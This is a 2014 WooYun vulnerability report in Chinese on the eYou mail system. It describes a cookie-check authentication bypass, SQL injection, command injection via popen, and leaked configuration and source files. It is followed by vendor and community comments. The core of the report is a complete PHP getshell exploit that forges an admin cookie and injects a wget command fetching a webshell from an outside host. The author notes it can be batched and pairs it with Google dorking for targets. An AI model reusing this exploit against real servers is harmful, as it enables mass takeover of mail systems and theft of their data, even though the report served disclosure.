当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058462

漏洞标题:亿邮邮件系统越权引发蝴蝶效应

相关厂商:北京亿中邮信息技术有限公司

漏洞作者: felixk3y

提交时间:2014-04-25 18:09

修复时间:2014-07-24 18:10

公开时间:2014-07-24 18:10

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-25: 细节已通知厂商并且等待厂商处理中
2014-04-29: 厂商已经确认,细节仅向厂商公开
2014-05-02: 细节向第三方安全合作伙伴开放
2014-06-23: 细节向核心白帽子及相关领域专家公开
2014-07-03: 细节向普通白帽子公开
2014-07-13: 细节向实习白帽子公开
2014-07-24: 细节向公众公开

简要描述:

漏洞系列一:亿邮邮件系统存在严重的越权,可引发异常强大的蝴蝶效应 ..
可引起:
1.数据/权限层面:SQL注入、任意文件上传等等等 ..
2.操作层面:添加任意管理员账号、删除任意管理员账号、查看任意管理员/用户账号信息、锁定任意账号等等等 ..
当然,同样可执行任意命令,获取服务器权限,漫游内网 ..
最重要的是,可实现批量拿SHELL(已证明),批量 批量哦 ..
最最重要是: 哈哈 这究竟算几个漏洞呢? 嗯??? 1个、2个、3个、4个、5个 ..
漏洞系列二:严重的信息泄露、源代码泄露(可直接获取数据库账号密码等信息)..

详细说明:

#1 越权之根源
随便打开一个文件看看,这里为
/grad/admin/admin_add_to.php(可添加毕业用户管理)

ValidateCookie();
// 定义毕业用户管理后台的常量
// 修改者:fenghui <fenghui@eyou.net>
// 修改日期:2007/06/27
define('GRAD_TPL_PATH', 'tpl/grad/admin/cn/style1/'); // 毕业用户管理后台模板路径
define('COOKIE_TIMEOUT', 1800); // 管理后台登录有效时长
define('MYSQL_ADMIN_DB', 'email_user'); // 管理员账户的mysql数据库名


重点在 ValidateCookie();函数,跟上
/grad/admin/admin.function.php

function ValidateCookie()
{
//add by yangfeng on 2007-03-29 start 访问$lang中的值
global $lang;
// print_r($_COOKIE);
// echo $_COOKIE["cookie"].'<br>';
// echo $_COOKIE['admin'];
//end
if(empty($_COOKIE["cookie"]) || empty($_COOKIE['admin']))// 这里
{
show_msg($lang['TIMEOUT'],$lang['VALIDATECOOKIE'],0,"javascript:window.top.location.href='/grad/admin/index.php';void(0);");
}else
{
setcookie('cookie', $_COOKIE["cookie"], time()+1800);
setcookie('admin', $_COOKIE['admin'], time()+1800);
setcookie("admin_grad",$_COOKIE['admin_grad'],time()+1800);
}
}


权限验证居然还有这样的,只要cookie admin 不为空 就通过了 ..
(感叹下 ..此处省略10000字 ..)
#2 操作层面证明
对于 添加任意管理员账号、删除任意管理员账号、查看任意管理员/用户账号信息、锁定任意账号就不一一证明了,简单说明下就ok ..

1.jpg


添加用户等 ..

2.jpg


#3 SQL注入
总共有好几处,你们检查下,这里只贴一处
/grad/admin/admin_del_to.php (删除管理员)

$admin_id = request('admin_id');
if (empty($admin_id) || $admin_id == '') {
show_msg($lang['ERROR'], '参数错误,无法删除!', 0);
}
// 删除管理员
$mysql = new mysql(MYSQL_HOST, MYSQL_USER, MYSQL_PW, MYSQL_ADMIN_DB);
$mysql->connect();
$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";
$mysql->query($query, true);
if ($mysql->affected_rows() != 1) {
show_msg($lang['ERROR'], '无法从数据库中删除管理员!', 0);
}
show_msg($lang['SUCCESS'], '删除成功', 1, '/grad/admin/admin_list.php');
?>


这里的 $admin_id 参数 ,不多说:

$admin_id = request('admin_id');
$query = "DELETE FROM admin_users WHERE admin_id = $admin_id";


#4 命令执行
/grad/admin/admin_logo_upload.php

require_once("admin.config.php");//这里有权限验证,够造cookie可以绕过
//--获取变量
$domain = $_COOKIE['cookie'];
//是否上传图片
if(!file_exists($_FILES["logofile"]["tmp_name"]))
{
show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_NOFILE'],0);
exit();
}
//判断上传的文件是否为图片
$uptypes=array('image/jpg','image/jpeg','image/png', 'image/pjpeg','image/gif','image/bmp','image/x-png');
if(!in_array($_FILES["logofile"]["type"], $uptypes))
{
show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_FILETYPE'],0);
exit();
}
//判断图片大小
/*
if (filesize($_FILES["logofile"]["tmp_name"]) >= 204800){
show_msg($lang['ERROR'],$lang['ADMIN_LOGO_UPLOAD_MSG_ERR_BIG'],0);
exit();
}
*/
//获取上传目录 2007-04-06 wanglei
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
$res = fread($fp,1024);
if(!$res)
{
show_msg($lang['ADMIN_MAINMENU_PATH_EROR']);
}


上面的代码中
require_once("admin.config.php");//这里有权限验证,够造cookie可以绕过
接下来看

$domain = $_COOKIE['cookie'];
...
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
...


没有经过任何过滤便进入了危险的函数popen,造成任意命令执行漏洞。
#5 批量getsehll证明
码字太恼火了,直接给出命令执行漏洞的exp(稍微修改即可实现批量)

<?php
/*
* Created By felixk3y ..
* eYou getshell exploit ..
*/
error_reporting(8);
if($argc < 1){
die('eyou_exp.php www.secmap.cn\r\n');
}
$host = $argv[1];
$cookie ="admin=admin; cookie=1 || wget http://www.secmap.cn/1.txt -O /var/eyou/apache/htdocs/grad/admin/shell.php || 1";
$bodys = upload();
$res = httpRequest($host,$cookie,$bodys);
$shell = "http://".$host."/grad/admin/shell.php";
$re = getshell($shell);
if($re){
echo "Success ..\nShell is :".$shell."\nPass is [ c ] .. \n";
}else{
echo "Getshell Failed ..\n";
}
function upload(){
$upload = "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
$upload .= "Content-Disposition: form-data; name=\"logofile\"; filename=\"upload.php\"\r\n";
$upload .= "Content-Type: image/jpeg\r\n\r\n";
$upload .= "GIF89a1234567890\r\n";
$upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
$upload .= "Content-Disposition: form-data; name=\"submit\"\r\n\r\n";
$upload .= "Upload\r\n";
$upload .= "------WebKitFormBoundaryuywfhWmIjXoYyW1c--\r\n\r\n";
return $upload;
}
function getshell($url){
$headers = get_headers($url);
if(strpos($headers[0], 'HTTP/1.1 200 OK') === 0) {
return true;
} else {
return false;
}
}
function httpRequest($host,$cookie,$body){
$data = '';
$data .= "POST /grad/admin/admin_logo_upload.php HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Proxy-Connection: keep-alive\r\n";
$data .= "Content-Length: ".strlen($body)."\r\n";
$data .= "Cache-Control: max-age=0\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";
$data .= "Origin: null\r\n";
$data .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$data .= "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuywfhWmIjXoYyW1c\r\n";
$data .= "Accept-Encoding: gzip,deflate,sdch\r\n";
$data .= "Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\r\n";
$data .= "Cookie: ".$cookie."\r\n\r\n";
$data .= $body;
$fp = @fsockopen($host, 80);
if(!$fp){
exit('Could not connect to: ' . $host);
}else{
fwrite($fp, $data);
$resp = '';
while(!feof($fp)) {
$resp .= fread($fp, 1024);
}
fclose($fp);
}
return $resp;
}
?>


exp用法:

eyou_exp.php cma.org.cn


首先Google intitle:亿邮通讯 任意选取一个证明:

3.jpg

漏洞证明:

#6 完美GETSHELL

4.jpg


#7 下面接着说漏洞系列二
直接获取数据库账号、密码等信息..
/php/report/include/config.inc (好像还有几处,你们查查)

5.jpg


源代码泄露:
/php/report/include/ldap.inc
/php/report/include/util.inc
/php/report/include/weblib.inc (好像同样也还有几处,你们查查)

6.jpg

修复方案:

你们懂的..

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-29 17:36

厂商回复:

非常感谢提供,漏洞涉及老版系统,公司会尽快修复,并与客户协商尽快升级!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-25 17:59 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1425 漏洞数:182 | 没有最专业的农民,只有更努力地耕耘..........)

    厉害。亿邮哭了。

  2. 2014-04-25 18:12 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗,任何自称Finger并...)

    漂亮!

  3. 2014-04-25 18:22 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)

    = = 别搞eyou了吧,各位。。。

  4. 2014-04-25 18:24 | ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子,但是除了他华...)

    亿邮岂止是哭了

  5. 2014-04-25 18:28 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  6. 2014-04-25 18:41 | 4399gdww ( 路人 | Rank:20 漏洞数:4 | )

    肥皂太多了...

  7. 2014-04-25 18:45 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远,还需要厂商和白帽...)

    http://www.wooyun.org/images/m2.png 这啥意思,.钱啊~~~

  8. 2014-04-25 18:50 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    我只想说照这样下去eyou别赚钱了 你们赚赚得了 呵呵

  9. 2014-04-25 19:02 | 神奇=路人甲 ( 路人 | Rank:0 漏洞数:1 | 神奇=路人甲=神奇=bug)

    eyou这下直接哭了!!!

  10. 2014-04-25 19:04 | 神奇=路人甲 ( 路人 | Rank:0 漏洞数:1 | 神奇=路人甲=神奇=bug)

    这下很多政府、科研单位悲剧了!

  11. 2014-04-25 19:55 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    用笨脑袋想也能想明白 用公共邮箱传递敏感信息。。。又是一声叹息这洞赏金多少

  12. 2014-04-25 19:57 | Kobs ( 路人 | Rank:4 漏洞数:1 | 魅力无处不在,预见即是未来)

    土豪啊

  13. 2014-04-25 20:20 | nextdoor ( 普通白帽子 | Rank:325 漏洞数:74 )

    洞主蝴蝶效应都弄上了

  14. 2014-04-25 20:52 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    这个标题貌似在哪里加过

  15. 2014-04-25 22:18 | cncert国家互联网应急中心(乌云厂商)

    mark,明天一早处理,大家对国内开发厂商还是要宽容一些。毕竟安全应急是近年来才越来越重视,先不说开发流程的问题,光是应急流程就需要完善。

  16. 2014-04-25 22:48 | wutongyu ( 实习白帽子 | Rank:55 漏洞数:30 | 我的小心脏)

    @niliu 你的拉手网某处svn泄露引发的蝴蝶效应

  17. 2014-04-25 22:54 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    mark

  18. 2014-04-25 23:05 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @wutongyu 少年好记忆力啊! 貌似你是梧桐雨大妹子啊

  19. 2014-04-26 07:14 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 我叫什么名字)

    @cncert国家互联网应急中心 周末按照我们的流程一切顺延到周一 CNCERT在周末额外处理此 问题 值得尊敬 支持一个

  20. 2014-04-26 09:17 | 耐小心 ( 路人 | Rank:12 漏洞数:5 | 噗 我是新手 新手求罩)

    mark

  21. 2014-04-26 10:28 | cncert国家互联网应急中心(乌云厂商)

    @felixk3y 已经先行向厂商通报,万事处置还得由厂商提供修复为准。同时在改写exp(CNVD验证程序以python为主),以便协助厂商做好用户应急响应工作。

  22. 2014-04-26 10:30 | cncert国家互联网应急中心(乌云厂商)

    @felixk3y 从近期的eyou漏洞看,白帽子手里都已经掌握了该产品的部分源代码情部况,而产品的类似功能页面实现机制都差不多,存在SQL注入、代码执行情有可源。

  23. 2014-04-26 10:39 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    rank30?40?直接查水表得了。

  24. 2014-04-26 11:43 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活,亭长放解)

    亿邮老古董早该丢了。

  25. 2014-04-28 11:23 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    标题那么给力

  26. 2014-04-28 12:15 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @cncert国家互联网应急中心 求反馈个影响信息

  27. 2014-04-28 13:07 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @cncert国家互联网应急中心 @疯狗 貌似国家级的机构都有中招的 ..

  28. 2014-04-28 14:33 | 小夜 ( 路人 | Rank:15 漏洞数:8 | 漫长的日子)

    我靠 这么吊

  29. 2014-04-28 16:37 | cncert国家互联网应急中心(乌云厂商)

    @felixk3y 请私信,部委还是哪些安全机构?

  30. 2014-04-28 16:57 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @cncert国家互联网应急中心 主要是部委,已私信。

  31. 2014-07-24 20:13 | Mr_Java ( 路人 | Rank:28 漏洞数:9 | 成功进入web端,哈哈!)

    绝对!

  32. 2014-11-20 13:22 | 小鸟游六花 ( 路人 | Rank:0 漏洞数:1 | 数据库 java php asp c htm5)

    邮件系统交流群191483117求交流